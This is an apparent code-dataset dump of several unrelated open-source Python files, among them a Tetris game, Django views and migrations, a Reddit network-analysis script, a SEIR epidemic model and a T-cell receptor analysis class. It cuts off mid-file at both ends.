test_file in test_files:\n pairs = [p for p in get_functions_source_by_name(test_file, test_names)]\n for ti in meta:\n for name, source_code in pairs:\n if ti.title == name and ti.abs_path == test_file:\n ti.source_code = source_code\n break\n return meta, test_files, test_names\n\n\ndef get_test_mapping(tests: list[TestItem]) -> list[tuple[str, int]]:\n return [(test.title, test.id) for test in tests]\n\n\ndef parse_test_list(raw_response: dict) -> list[TestomatItem]:\n suites = set([suite for suite in raw_response['suites'].keys() if '#' not in suite])\n result = dict()\n for key, value in raw_response['tests'].items():\n test = result.get(value)\n if test is None:\n test = {\n 'name': None,\n 'suite': None,\n 'file': None\n }\n parts = [part for part in key.split('#') if part != '']\n if len(parts) == 1:\n test['name'] = parts[0]\n elif len(parts) == 2:\n if parts[0] in suites:\n test['suite'] = parts[0]\n test['name'] = parts[1]\n elif len(parts) == 3:\n test['file'] = parts[0]\n test['name'] = parts[-1]\n result[value] = test\n return [TestomatItem(id, test['name'], test['file']) for id, test in result.items()]\n\n\ndef add_and_enrich_tests(meta: list[TestItem], test_files: set,\n test_names: list, testomatio_tests: dict, decorator_name: str):\n # set test ids from testomatio to test metadata\n tcm_test_data = parse_test_list(testomatio_tests)\n for test in meta:\n for tcm_test in tcm_test_data:\n if test.user_title == tcm_test.title and test.file_name == tcm_test.file_name:\n test.id = tcm_test.id\n tcm_test_data.remove(tcm_test)\n break\n\n mapping = get_test_mapping(meta)\n for test_file in test_files:\n update_tests(test_file, mapping, test_names, decorator_name)\n","repo_name":"Ypurek/pytest-analyzer","sub_path":"analyzer/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"36825415958","text":"import pygame \nimport random\nimport math\nfrom Pieces import *\nfrom Board import *\n\n##Setup game variables\nSCREEN_WIDTH, SCREEN_HEIGHT = 300, 700\nrun = True\n\npygame.init() \nwin = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) \npygame.display.set_caption(\"Fake Python Tetris\") \n\npygame.mixer.music.load('media\\Tetris_theme.wav')\npygame.mixer.music.set_volume(0.1)\npygame.mixer.music.play(-1)\n\nboard = Board()\nlastTime = pygame.time.get_ticks()\ndeltaTime = 0\n\nwhile run:\n\n deltaTime = pygame.time.get_ticks() - lastTime \n lastTime = pygame.time.get_ticks()\n\n # creates time delay of 10ms \n pygame.time.delay(10)\n keys = pygame.key.get_pressed() \n # iterate over the list of Event objects \n # that was returned by pygame.event.get() method. \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n board.rotate()\n if event.key == pygame.K_a or event.key == pygame.K_LEFT :\n board.move(isLeft=True)\n if event.key == pygame.K_d or event.key == pygame.K_RIGHT :\n board.move(isLeft=False)\n if event.key == pygame.K_s or event.key == pygame.K_DOWN :\n board.moveDown()\n if event.key == pygame.K_r and board.gameState == \"LOST\":\n board = Board()\n pygame.mixer.music.play()\n\n\n if board.gameState != \"LOST\" :\n board.step(deltaTime)\n board.draw(win)\n else:\n board.drawLoseScreen(win)\n pygame.mixer.music.stop()\n\n pygame.display.update()\n\n\n\n\n\n\n","repo_name":"JoeMGomes/GISS-Tetris-FILS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18925182174","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('wagtailcore', '0020_add_index_on_page_first_published_at'),\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Reminder',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('due_to_be_sent_at', models.DateTimeField(null=True, blank=True)),\n ('page_reviewed', models.BooleanField(default=False)),\n ('sent', models.BooleanField(default=False)),\n ('page', models.ForeignKey(to='wagtailcore.Page')),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n","repo_name":"neon-jungle/wagtail-relevancy","sub_path":"wagtailrelevancy/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"3217255449","text":"from __future__ import absolute_import, division\n\nimport textwrap\n\n\ndef chunked(iterator, chunk_size):\n \"\"\"\n Given an iterator, chunk it up into ~chunk_size, but be aware of newline\n termination as an intended goal.\n \"\"\"\n result = ''\n for chunk in iterator:\n result += chunk\n while len(result) >= chunk_size:\n newline_pos = result.rfind('\\n', 0, chunk_size)\n if newline_pos == -1:\n newline_pos = chunk_size\n else:\n newline_pos += 1\n yield result[:newline_pos]\n result = result[newline_pos:]\n if result:\n yield result\n\n\ndef nl2br(value):\n return value.replace('\\n', '
\\n')\n\n\ndef break_long_lines(text, *args, **kwargs):\n \"\"\"\n Wraps the single paragraph in text (a string) so every line is at most\n width characters long. Short lines in text will not be touched.\n \"\"\"\n result = []\n for line in text.split('\\n'):\n result.append(textwrap.fill(line, *args, **kwargs))\n return '\\n'.join(result)\n","repo_name":"dropbox/changes","sub_path":"changes/utils/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":758,"dataset":"github-code","pt":"72"} +{"seq_id":"44002973396","text":"#!/sw/arcts/centos7/python3.8-anaconda/2021.05/bin/python\n \n# Load Python modules #\n#|||||||||||||||||||||||#\n\n#import pkg_resources\n#pkg_resources.require(\"decorator==5.1.0\")\nimport os\nimport pandas as pd\n#pkg_resources.require(\"pandas==1.3.5\")\nimport networkx as nx\n#pkg_resources.require(\"networkx==2.6.3\")\nfrom networkx.algorithms.link_analysis.pagerank_alg import pagerank\n\nprint('initialization of python script \\n\\n')\n\n# quarters = pd.read_csv('/scratch/mmani_root/mmani0/shared_data/pushshift_python/Resources/Data/yearly_quarters.csv')\n# print('quarters read\\n')\n\nweeks = pd.read_csv('/scratch/mmani_root/mmani0/shared_data/pushshift_python/Resources/Data/yearly_weeks.csv')\nprint('weeks read\\n')\n\nos.chdir('/scratch/mmani_root/mmani0/shared_data/hot/csvz/')\n# os.chdir('/scratch/mmani_root/mmani0/shared_data/hot/csv_test/')\n\ncols = ['post_type', 'subreddit', 'id', 'parent_id', 'link_id', 'url',\n 'permalink', 'created_utc', 'datetime', 'score', 'upvote_ratio',\n 'num_comments', 'controversiality', 'total_awards_received', 'stickied',\n 'post_hint', 'is_self', 'is_video', 'title', 'body', 'author',\n 'author_premium']\n\nprint('trying\\n\\n')\nfor file in os.listdir():\n if file.endswith('.csv'):\n print('\\nparsing: '+file+'\\n')\n try:\n comm = pd.read_csv(filepath_or_buffer=file, low_memory=False,)\n comm = comm[cols]\n # for i in range(len(quarters)):\n for i in range(len(weeks)):\n print('\\nquarters loop :', i)\n if os.path.isfile(('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/network_features_' + file)):\n print('\\n previously parsed at loop: {} \\n'.format(i))\n continue\n else:\n try:\n df = comm.copy()\n \n # lower_utc = df['created_utc'].astype('int64') >= quarters.iloc[i,3].astype('int64')\n # upper_utc = df['created_utc'].astype('int64') <= quarters.iloc[i,5].astype('int64')\n lower_utc = df['created_utc'].astype('int64') >= weeks.iloc[i,3].astype('int64')\n upper_utc = df['created_utc'].astype('int64') <= weeks.iloc[i,5].astype('int64')\n df = df[lower_utc & upper_utc]\n \n if len(df) <= 5:\n print('loop skipped, file too small')\n continue \n\n Authors = list()\n Posts = list()\n Post_Author_Pairs = dict()\n\n for row in df.values:\n Author = str(row[-2])\n PostID = str(row[2])\n \n if Author != '[deleted]':\n if Author != 'AutoModerator':\n Authors.append(Author)\n Posts.append(PostID)\n Post_Author_Pairs[PostID] = Author\n try:\n print('phase=1')\n\n Data = {}\n\n for row in df.values:\n Author = str(row[-2])\n PostType = str(row[0])\n PostID = str(row[2])\n LinkID = str(row[4])[3:]\n ParentID = str(row[3])[3:]\n \n if Author != '[deleted]':\n if Author != 'AutoModerator':\n if LinkID in Post_Author_Pairs:\n ParentAuthor = Post_Author_Pairs[LinkID]\n elif ParentID in Post_Author_Pairs:\n ParentAuthor = Post_Author_Pairs[ParentID]\n else:\n ParentAuthor = ''\n\n if Author not in Data:\n Data[Author] = list()\n \n Data[Author].append([PostType, PostID, LinkID, ParentAuthor])\n except Exception as e:\n print('phase 1 failed as :', e)\n continue\n\n try:\n print('phase=2')\n\n Author_Exchanges = dict()\n\n for Author, PostInfo in Data.items():\n for Post in PostInfo:\n if Post[3] != '':\n Author_Exchanges[Author, Post[3]] = Author_Exchanges.get((Author, Post[3]), 0) + 1\n \n No_Self_Exchanges = {}\n ls = list(Author_Exchanges.keys())\n j = 0\n\n for author_pair, num_exchanges in Author_Exchanges.items():\n if ls[j][0] != ls[j][1]:\n No_Self_Exchanges[author_pair] = num_exchanges\n j += 1\n\n G = nx.DiGraph()\n except Exception as e:\n print('phase 2 failed as :', e)\n continue\n\n try:\n print('phase=3')\n\n for Auth_Pair, Num_Exchanges in No_Self_Exchanges.items():\n G.add_edge(Auth_Pair[0], Auth_Pair[1], weight=Num_Exchanges)\n\n out_degrees = [G.out_degree(node) for node in G]\n degree_centrality = nx.in_degree_centrality(G)\n closeness_centrality = nx.closeness_centrality(G)\n betweenness_centrality = nx.betweenness_centrality(G)\n network_features = pd.DataFrame(\n data={\n 'in_degree': [(G.in_degree(node)) for node in G],\n 'out_degree': out_degrees, \n 'degree_centrality': [degree_centrality[node] for node in G.nodes()],\n 'closeness_centrality': [closeness_centrality[node] for node in G.nodes()],\n 'betweenness_centrality': [betweenness_centrality[node] for node in G.nodes()]\n }, \n index=list(G.nodes())\n )\n except Exception as e:\n print('phase 3 failed as :', e)\n continue\n\n try:\n print('phase=4')\n\n for aleph in [0.65,0.70,0.75,0.80,0.85,0.90,0.95]:\n ranks = pagerank(G, alpha=aleph, max_iter=1000)\n pr = [ranks[node] for node in G]\n col_label = str(aleph)[2:] + '_pagerank'\n network_features[col_label] = pr\n except Exception as e:\n print('page rank failed as :', e)\n continue\n\n print('file phase')\n\n try:\n print('start try')\n # network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + quarters.iloc[i,6] + '/network_features_' + file)\n # nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + quarters.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/network_features_' + file)\n nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + weeks.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n print('files written successfully')\n except:\n print('start except')\n # print('making dirs :', quarters.iloc[i,6])\n # os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + quarters.iloc[i,6] + '/')\n # os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + quarters.iloc[i,6] + '/')\n # network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + quarters.iloc[i,6] + '/network_features_' + file)\n # nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + quarters.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n print('making dirs :', weeks.iloc[i,6])\n os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/')\n os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + weeks.iloc[i,6] + '/')\n network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/network_features_' + file)\n nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + weeks.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n continue\n except Exception as e:\n print('quarters loop exception as :', e)\n continue\n \n except Exception as e:\n print('file exception as :', e)\n continue \n\nprint('\\n\\ntermination of python script \\n\\n')\n\nexit()","repo_name":"casonk/pushshift_python","sub_path":"Great_Lakes_HPC/pys/network_maker.py","file_name":"network_maker.py","file_ext":"py","file_size_in_byte":10241,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"31788522854","text":"import math\n\n\ndef get_solution(dt, N, R0, D_incbation, D_infectious, D_to_hospital, D_recovery, P_SEVERE, CFR, InterventionTime, InterventionAmt):\n Integrators = {\"Euler\": [[1]],\n \"MidPoint\": [[0.5, 0.5], [0, 1]],\n \"Heun\": [[1, 1], [0.5, 0.5]],\n \"K3\": [[.5, .5], [1, -1, 2], [1 / 6, 2 / 3, 1 / 6]],\n \"SSP33\": [[1, 1], [.5, .25, .25], [1 / 6, 1 / 6, 2 / 3]],\n \"SSP43\": [[.5, .5], [1, .5, .5], [.5, 1 / 6, 1 / 6, 1 / 6], [1 / 6, 1 / 6, 1 / 6, 1 / 2]],\n \"RK4\": [[.5, .5], [.5, 0, .5], [1, 0, 0, 1], [1 / 6, 1 / 3, 1 / 3, 1 / 6]],\n \"RK38\": [[1 / 3, 1 / 3], [2 / 3, -1 / 3, 1], [1, 1, -1, 1], [1 / 8, 3 / 8, 3 / 8, 1 / 8]]}\n\n interpolation_steps = 10\n steps = 420 * interpolation_steps\n dt = dt/interpolation_steps\n sample_step = interpolation_steps\n\n method = Integrators.get(\"RK4\")\n\n # Build a SEIR model.\n def seir(t,x):\n if(t InterventionTime + duration):\n beta = 0.5 * R0 / (D_infectious)\n else:\n beta = R0 / (D_infectious)\n\n a = 1/D_incbation\n gamma = 1 / D_infectious\n\n S = x[0] #Susectable\n E = x[1] #Exposed\n I = x[2] #Infectious\n RM = x[3] #Recovering(Mezzanine)\n RH = x[4] #Recovering(Severe Casees)\n R = x[5] #Revovered(Full)\n D = x[6] #Dead\n\n dS = -beta * I * S\n dE = beta * I * S - a * E\n dI = a * E - gamma * I\n dRM = gamma*I - (1/D_to_hospital)*RM\n dRH = P_SEVERE*(1/D_to_hospital)*RM - (1/D_recovery)*RH\n dR = 0.8*(1/D_to_hospital)*RM + (1-CFR/P_SEVERE)*(1/D_recovery)*RH\n dD = (CFR/P_SEVERE)*(1/D_recovery)*RH\n\n\n # 0 1 2 3 4 5 6\n return [dS, dE, dI, dRM, dRH, dR, dD]\n\n def integrate(m,f,y,t,h):\n # f is a func of time t and state y;\n # y is the initial state, t is the time, h is the timestep.\n # updated y is returned.\n k = []\n\n for ki in range(len(m)):\n _y = y[:]\n if dt == ki:\n m[ki-1][0] *= h\n else:0\n for l in range(len(_y)):\n for j in range(1, ki+1):\n k.append(f(t + dt, _y))\n\n\n for ki in range(len(m)):\n print(k)\n _y = y[:]\n if dt == ki:\n m[ki-1][0] *= h\n else:0\n for l in range(len(_y)):\n for j in range(1, ki+1):\n _y[l] = _y[l] + h * (m[ki - 1][j]) * (k[ki - 1][l])\n #k[ki] = f(t + dt, _y, dt)\n\n r = []\n for l in range(len(_y)):\n for j in range(len(k)):\n r[l] = r[l] + h * (k[j][l]) * (m[ki - 1][j])\n return r\n\n\n v = [1, 0, 1/N, 0, 0, 0, 0]\n t = 0\n\n P = []\n TI = []\n Iters = []\n while(steps != 0):\n if ((steps + 1) % (sample_step) == 0):\n # Dead Hospital 0 exposed\n P.append([N*v[6], N*(v[4]), N*(v[2]), N*v[1]])\n TI.append(N*(1-v[0]))\n v = integrate(method,seir,v,t,dt)\n t += dt\n steps -= 1\n\n return {\"P\": P,\n \"deaths\": N*v[6],\n \"total\": 1-v[0],\n \"total_infected\": TI}\n\n\nif __name__ == '__main__':\n Time_to_death = 32\n logN = math.log(7e6)\n N = math.exp(logN)\n I0 = 1\n R0 = 2.2\n D_incbation = 5.2\n D_infectious = 2.9\n D_recovery_mild = (14-2.9)\n D_recovery_severe = (31.5-2.9)\n D_hospital_lag = 5\n D_death = Time_to_death - D_infectious\n CFR = 0.02\n InterventionTime = 100\n OMInterventionTime = 2/3\n InterventionAmt = 1 - OMInterventionTime\n Time = 220\n Xmax = 110000\n dt = 2\n P_SEVERE = 0.2\n duration = 7*12*1e10\n D_to_hospital = 3\n D_recovery = 30\n\n result = get_solution(dt, N, R0, D_incbation, D_infectious, D_to_hospital, D_recovery, P_SEVERE, CFR, InterventionTime, InterventionAmt)\n print(result)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ZyTnT/INFO6205-HW","sub_path":"FinalProject/src/main/java/SEIR_Calculator.py","file_name":"SEIR_Calculator.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25789984170","text":"\"\"\"\nview for order/client side\n\"\"\"\nimport os\nimport datetime\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom src.email_notification import EmailNotifications\nfrom orders.models import Order, Package\nfrom laboratoryOrders.models import Sample, TestSample, OrderSample\nfrom laboratoryOrders.models import TestResult, OrderTest, TestPackage\nfrom laboratory.models import Test\nfrom accounts.models import Client\n\ndef home_page(request):\n \"\"\"\n the client home page where they can access the different tabs avalible to them\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if Client.objects.filter(user=request.user):\n return render(request, 'orders/home_page.html')\n return redirect(\"accounts:employee_home_page\")\n\ndef order_history(request):\n \"\"\"\n the order history page, which creates a list or orders previously for the current users\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n # get a list of orders placed previously by this user\n orders_list = Order.order_for_user(request.user)\n context_dict = {'orders': list(orders_list)}\n return render(request, 'orders/order_history.html', context_dict)\n\ndef results(request):\n \"\"\"\n the resuls page, which creates a list of results for the user currently logged in\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n # get a list of test ids realted to this user\n orders = Order.order_for_user(request.user)\n order_test_samples = {}\n for order in orders:\n test_samples = []\n order_samples = OrderSample.objects.filter(order=order)\n for order_sample in order_samples:\n test_samples += list(order_sample.sample.test_samples())\n order_test_samples[order] = test_samples\n\n render_results = {}\n # re order the results for display purposes\n # render_results[order_number] = render_results[order_number] + list(query_set)\n for order_number, test_samples in order_test_samples.items():\n render_results[order_number] = []\n if len(test_samples) >= 1:\n sample_dict = {}\n for test_sample in test_samples:\n testresult = test_sample.test_result()\n result_dict = {}\n if testresult:\n result_dict['status'] = testresult.status\n result_dict['result'] = testresult.result\n result_dict['test'] = test_sample.user_side_id()\n result_dict['order_number'] = order_number.order_number\n result_dict['test_sample_id'] = test_sample.id\n sample_dict[result_dict['test']] = result_dict\n else:\n result_dict['status'] = \"not recieved\"\n result_dict['result'] = \"--\"\n result_dict['test'] = test_sample.user_side_id()\n result_dict['order_number'] = order_number.order_number\n result_dict['test_sample_id'] = test_sample.id\n sample_dict[result_dict['test']] = result_dict\n render_results[order_number] = sample_dict\n else:\n sample_dict = {}\n result_dict = {}\n result_dict['status'] = \"not recieved\"\n result_dict['result'] = \"--\"\n result_dict['test'] = \"--\"\n result_dict['order_number'] = order_number.order_number\n result_dict['test_sample_id'] = None\n sample_dict[result_dict['test']] = result_dict\n render_results[order_number] = sample_dict\n\n context_dict = {'user': request.user, 'results': render_results}\n return render(request, 'orders/results.html', context_dict)\n\ndef shopping(request):\n \"\"\"\n shopping page, this page is used to order new test for the client\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n\n account = Client.objects.filter(user = request.user).first()\n date = datetime.datetime.now()\n order_number = Order.next_order_number(account)\n tests_by_type = Test.get_test_by_type()\n tests_by_package = TestPackage.tests_by_package()\n\n new_ordertests = []\n if request.method == \"POST\":\n order = Order(order_number= order_number, account_number=account, submission_date=date)\n no_items_in_order = True # check to make sure we add items to this order\n\n for sample_type, tests in tests_by_type.items():\n if request.POST.get(sample_type + \"_check\"):\n if not request.POST.get(\"tests_\" + sample_type):\n messages.error(request, \"Please select a test to order\")\n context_dict = {\n 'tests_by_type': tests_by_type,\n 'packages': tests_by_package.keys()\n }\n return render(request,'orders/shopping.html',context_dict)\n quantity = request.POST.get(\"quantity_\" + sample_type)\n if int(quantity) <= 0:\n messages.error(request, \"Your quantity must be greater than or equal to 1.\" \\\n \" If you don't wish to include this item, uncheck the box\")\n context_dict = {\n 'tests_by_type': tests_by_type,\n 'packages': tests_by_package.keys()\n }\n return render(request,'orders/shopping.html',context_dict)\n test_name = request.POST.get(\"tests_\" + sample_type)\n test = Test.objects.filter(name=test_name).first()\n if not test:\n messages.error(request, \"Please select a test to order\")\n context_dict = {\n 'tests_by_type': tests_by_type,\n 'packages': tests_by_package.keys()\n }\n return render(request,'orders/shopping.html',context_dict)\n # error above redirect so if we got here, the order is valid and we can save\n order.save()\n for _count in range(0, int(quantity)):\n sample = Sample(sample_type=sample_type)\n sample.save()\n ordersample = OrderSample(order=order, sample = sample)\n ordersample.save()\n ordertest = OrderTest(order_number=order, test_id=test)\n ordertest.save()\n new_ordertests.append(ordertest)\n no_items_in_order = False\n\n if request.POST.get(\"packages_check\"):\n quantity = request.POST.get(\"quantity_packages\")\n if int(quantity) <= 0:\n messages.error(request, \"Your quantity must be greater than or equal to 1. \"\n \"If you don't wish to include this item, uncheck the box\")\n context_dict = {'tests_by_type': tests_by_type, 'packages': tests_by_package.keys()}\n return render(request,'orders/shopping.html',context_dict)\n package_name = request.POST.get(\"package_name\")\n if not package_name:\n messages.error(request, \"Please select a package to order\")\n no_items_in_order = False\n # error above redirect so if we got here, the order is valid and we can save\n order.save()\n for _count in range(0, int(quantity)):\n tests = tests_by_package[package_name]\n for test_name in tests:\n test = Test.objects.filter(name=test_name).first()\n ordertest = OrderTest(order_number=order, test_id=test)\n ordertest.save()\n new_ordertests.append(ordertest)\n sample = Sample(sample_type=test.sample_type)\n sample.save()\n ordersample = OrderSample(order=order, sample = sample)\n ordersample.save()\n if no_items_in_order:\n messages.error(request, \"You must include items in your order, \" \\\n \"make sure you have checkmarked the items to be included\")\n context_dict = {'tests_by_type': tests_by_type, 'packages': tests_by_package.keys()}\n return render(request,'orders/shopping.html',context_dict)\n # Notify lab admins of new order - Can change this to all employees if desired\n ordertests = \"\"\n for new_order_tests in new_ordertests:\n ordertests += str(new_order_tests.test_id) + \"\\n\"\n # Notify client that their new order is received\n new_order_email_notification = EmailNotifications()\n new_order_email_notification.new_order_notif(order, new_ordertests)\n\n return redirect('orders:order_history')\n\n context_dict = {'tests_by_type': tests_by_type, 'packages': tests_by_package.keys()}\n\n return render(request,'orders/shopping.html',context_dict)\n\ndef appendix_b(request):\n \"\"\"\n appendix b to help users decide which test and package to order for\n try to make it interactive depending on the sample quantities and the sample type\n \"\"\"\n sample_type_list = Test.objects.all()\n package_list = Package.objects.all()\n package = list(package_list)\n tests_list = Test.objects.all()\n tests = list(tests_list)\n sample_no_duplicate=sample_type_list.distinct()\n sample = list(sample_no_duplicate)\n context_dict = {'sample': sample,'package':package,'tests':tests}\n return render(request, 'orders/appendix_b.html',context_dict)\n\ndef order_page(request, order_id):\n \"\"\"\n page related to a specific order\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n client = Client.objects.filter(user=request.user).first()\n order = Order.objects.filter(order_number=order_id, account_number=client).first()\n samples = OrderSample.samples_for_order(order)\n\n order_inspected = True\n for sample in samples:\n order_inspected = order_inspected and sample.insepcted()\n\n context = {'order': order, 'samples': samples,\n 'order_inspected': order_inspected}\n return render(request, 'orders/order_page.html',context)\n\ndef view_sample(request, sample_id):\n \"\"\"\n view information for a specific sample\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n # delete old files so we don't end up with a bunch in memory\n mypath = os.path.join(os.getcwd(), \"static/barcodes\")\n for root, _dirs, files in os.walk(mypath):\n for file in files:\n if file.endswith('jpg'):\n os.remove(os.path.join(root, file))\n sample = Sample.objects.filter(id=sample_id).first()\n inspection = sample.inspection_results()\n\n barcode_file_path = sample.barcode()\n barcode_file_path = os.path.join(\"../../../\", barcode_file_path)\n\n lab_samples = sample.lab_samples()\n test_samples = sample.test_samples()\n\n order = sample.order()\n\n context = {'barcode_file_path': barcode_file_path, 'sample': sample, 'lab_samples': lab_samples,\n 'test_samples': test_samples, 'inspection': inspection, 'order': order}\n return render(request, 'orders/view_sample.html', context)\n\ndef view_test_sample(request, test_sample_id):\n \"\"\"\n view informaton about a specific test sample\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n\n test_sample = TestSample.objects.filter(id=test_sample_id).first()\n\n lab_sample = test_sample.lab_sample_id\n sample = lab_sample.sample\n test_result = TestResult.objects.filter(test_id=test_sample).first()\n context = {\n 'lab_sample': lab_sample,\n 'test_sample': test_sample,\n 'sample': sample,\n 'test_result': test_result\n }\n return render(request, 'orders/view_test_sample.html', context)\n","repo_name":"shepkeira/LIMS","sub_path":"LIMS_IMAGE/web/orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12533,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"70442264552","text":"from django.shortcuts import render\nfrom django.http.response import HttpResponseBadRequest, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.parsers import JSONParser\n\nfrom portal.models import Questions\nfrom portal.serializer import QuestionSerializer\n\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n# Create your views here.\n\n@csrf_exempt\ndef createQuestion(request):\n if request.method == 'POST':\n logger.info('Start writing database')\n question_data=JSONParser().parse(request)\n question_serializer=QuestionSerializer(data=question_data)\n if question_serializer.is_valid():\n logger.info('Writing record ...')\n try:\n res = question_serializer.save()\n logger.info('question_id ' + str(res.question_id) + ' successfully created')\n return JsonResponse(\"Added Successfully\",safe=False)\n except Exception as e:\n logger.exception(e)\n else:\n logger.error('Could not write record, bad data format')\n return JsonResponse(\"Failed to Add\",safe=False)\n else:\n logger.error('User made wrong request to questions/create route')\n return HttpResponseBadRequest(\"Unable to post\")\n\n@csrf_exempt\ndef deleteQuestion(request, id):\n logger.info('Start writing database')\n if request.method == 'DELETE':\n logger.info('Writing record ...')\n try:\n question = Questions.objects.get(question_id=id)\n question.delete()\n logger.info('question_id ' + str(id) + ' successfully deleted')\n return JsonResponse(\"Deleted Successfully\",safe=False)\n except Exception as e:\n logger.exception(e)\n return JsonResponse(\"Failed to Delete\",safe=False)\n else:\n logger.error('User made wrong request to questions/delete/ route')\n return HttpResponseBadRequest(\"Unable to delete\")\n\n@csrf_exempt\ndef getAllQuestions(request):\n logger.info('Start reading database')\n if request.method == \"GET\":\n logger.info('Getting records ...') \n try:\n questions = Questions.objects.all()\n question_serializer=QuestionSerializer(questions,many=True) \n logger.info('Finish getting records')\n return JsonResponse(question_serializer.data,safe=False)\n except Exception as e:\n logger.exception(e)\n else:\n logger.error('User made wrong request to questions/all route')\n return HttpResponseBadRequest(\"Unable to get questions\")","repo_name":"Ayoitsjason/JasonLe_Helix","sub_path":"helix_backend/portal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71433424233","text":"# base python imports\nimport re\nimport os\nimport random\nimport sys \n# python env imports\nimport numpy as np\nimport pandas as pd\nimport warnings\n\n# tcrdist2 imports\nfrom .all_genes import all_genes as all_genes_default\nfrom . import all_genes_db\nfrom . import amino_acids\nfrom . import basic\nfrom . import logo_tools\nfrom . import mappers\nfrom . import paths\nfrom . import random\nfrom . import rmf\nfrom . import svg_basic\nfrom . import tcr_sampler\nfrom . import util\nfrom collections import namedtuple\nfrom .storage import StoreIO\nfrom .storage import StoreIOMotif\nfrom .storage import StoreIOEntropy\nfrom .cdr3_motif import TCRMotif\n\n\n#from tcrdist import parse_tsv\n\nclass TCRsubset():\n \"\"\"\n A class dedictated to repertoire subset analysis,\n particularly relative entropy motifs\n \n Methods\n -------\n find_motif : function\n wrapper function that intializes a TCRMotif instance.\n TCRsubet.subset, TCRsubet.organism, TCRsubet.chains, and TCRsubet.epitopes.\n Runs TCRMotif.find_cdr3_motifs.\n\n eval_motif : function\n\n analyze_matches : function\n\n Attributes\n ----------\n clone_df : pd.DataFrame\n organism : str\n 'mouse' or 'human'\n epitopes : list\n list of unique epitopes. Use ['X'] if unknown or multiple.\n epitope : string \n use 'X'\n chains : list \n list comprised of 1 or 2 of the following: ['alpha', 'beta', 'gamma', 'delta', 'A', 'B', 'D', 'G', 'a', 'b', 'd', 'g']\n nbr_dist : float\n defaults to 100.0, used for finding neighboring clones \n dist_a : pd.DataFrame\n distances between alpha chains clones (can be used for gamma as well)\n dist_b = None,\n distances between beta chains clones (can be used for delta as well)\n dist_g = None,\n distances between gamma chains clones; gets coerces to dist_a\n dist_d = None,\n distances between delta chains clones; gets coerces to dist_a\n max_ng_lines : int\n maximum number of nextgen sequences to consider\n 